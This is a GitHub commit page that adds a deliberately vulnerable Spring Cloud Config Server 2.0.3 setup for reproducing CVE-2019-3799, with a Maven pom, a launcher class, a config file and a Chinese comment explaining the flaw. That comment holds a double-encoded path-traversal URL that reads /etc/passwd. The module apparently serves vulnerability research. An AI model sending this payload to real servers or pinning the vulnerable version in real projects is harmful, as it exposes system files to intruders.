Skip to content

Commit 9203dcf

Browse files
author
“threedr3am”
committed
feat:添加spring cloud config server漏洞模块(CVE-201903799)
1 parent 9535cb2 commit 9203dcf

File tree

4 files changed

+77
-0
lines changed

4 files changed

+77
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>2.0.3.RELEASE</version>
9+
<relativePath/>
10+
</parent>
11+
<modelVersion>4.0.0</modelVersion>
12+
13+
<artifactId>spring-cloud-config-server-CVE-2019-3799</artifactId>
14+
15+
<dependencies>
16+
<dependency>
17+
<groupId>org.springframework.boot</groupId>
18+
<artifactId>spring-boot-starter</artifactId>
19+
</dependency>
20+
21+
<dependency>
22+
<groupId>org.springframework.cloud</groupId>
23+
<artifactId>spring-cloud-config-server</artifactId>
24+
<version>2.0.3.RELEASE</version>
25+
</dependency>
26+
</dependencies>
27+
28+
<build>
29+
<plugins>
30+
<plugin>
31+
<groupId>org.springframework.boot</groupId>
32+
<artifactId>spring-boot-maven-plugin</artifactId>
33+
<configuration>
34+
<fork>true</fork>
35+
</configuration>
36+
</plugin>
37+
</plugins>
38+
</build>
39+
</project>
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package com.threedr3am.bug.spring.config.server;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
import org.springframework.cloud.config.server.EnableConfigServer;
6+
7+
/**
8+
* @author threedr3am
9+
*/
10+
@EnableConfigServer
11+
@SpringBootApplication
12+
public class Application {
13+
14+
public static void main(String[] args) {
15+
SpringApplication.run(Application.class, args);
16+
}
17+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
/**
2+
* 触发点 org.springframework.cloud.config.server.resource.ResourceController
3+
*
4+
* todo 条件:需要使用git等版本库存储,经测试使用本地存储不成功
5+
*
6+
* url中第三个label,也就是/{application}/{profile}/{label}/..%252f..%252fetc%252fpasswd中的label需要存在的分支,
7+
* 一般情况下master存在,因此url为:/threedr3am/dev/master/..%252f..%252f..%252f..%252f..%252f../etc/passwd
8+
*
9+
* @author threedr3am
10+
*/
11+
package com.threedr3am.bug.spring.config.server;
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
spring:
2+
profiles:
3+
active: native
4+
cloud:
5+
config:
6+
server:
7+
git:
8+
uri: https://github.com/threedr3am/share-project
9+
server:
10+
port: 9988

0 commit comments

Comments
 (0)